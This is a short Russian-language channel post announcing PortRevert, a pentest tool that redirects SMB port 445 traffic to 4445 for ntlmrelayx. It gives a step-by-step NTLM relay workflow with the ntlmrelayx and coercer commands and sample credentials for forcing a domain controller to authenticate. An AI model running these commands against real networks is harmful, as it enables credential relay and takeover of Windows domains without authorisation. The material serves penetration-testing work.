Мой коллега-внутрянщик написал очень полезный инструмент PortRevert
#AD #pentest #Microsoft #NTLM #relay

PortRevert — этот инструмент перехватывает SMB трафик на порт 445 и перенаправляет его на порт 4445, позволяя использовать ntlmrelayx без остановки службы LanmanServer (которая слушает порт 445).

➡️Возможности
- Перехват всего TCP трафика на порт 445
- Перенаправление на порт 4445 для ntlmrelayx
- Автоматическая обработка двунаправленного трафика (запросы/ответы)
- Корректная очистка драйвера при завершении
- Поддержка как x86, так и x64 архитектур

➡️Использование
Пример использования для NTLM relay
1. Запустите PortRevert от имени администратора:

PortRevert.exe

2. Запустите ntlmrelayx на порту 4445:

ntlmrelayx.exe -smb-port 4445 -smb2support -debug

3. Принудите жертву к аутентификации любым способом, например с помощью coercer:

coercer coerce -d cs.org -t dc1 -u test -p 'Password123!' -l pc3 --always-continue

(PortRevert должен быть запущен на хосте-слушателе, в данном случае - pc3)

➡️Как это работает

Жертва -> Порт 445 
    ↓ (перехват PortRedirector)
Жертва -> Порт 4445 -> ntlmrelayx
    ↓ (ответы)
ntlmrelayx -> Порт 4445 
    ↓ (перенаправление обратно)
ntlmrelayx -> Порт 445 -> Жертва

💻 Github repo

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK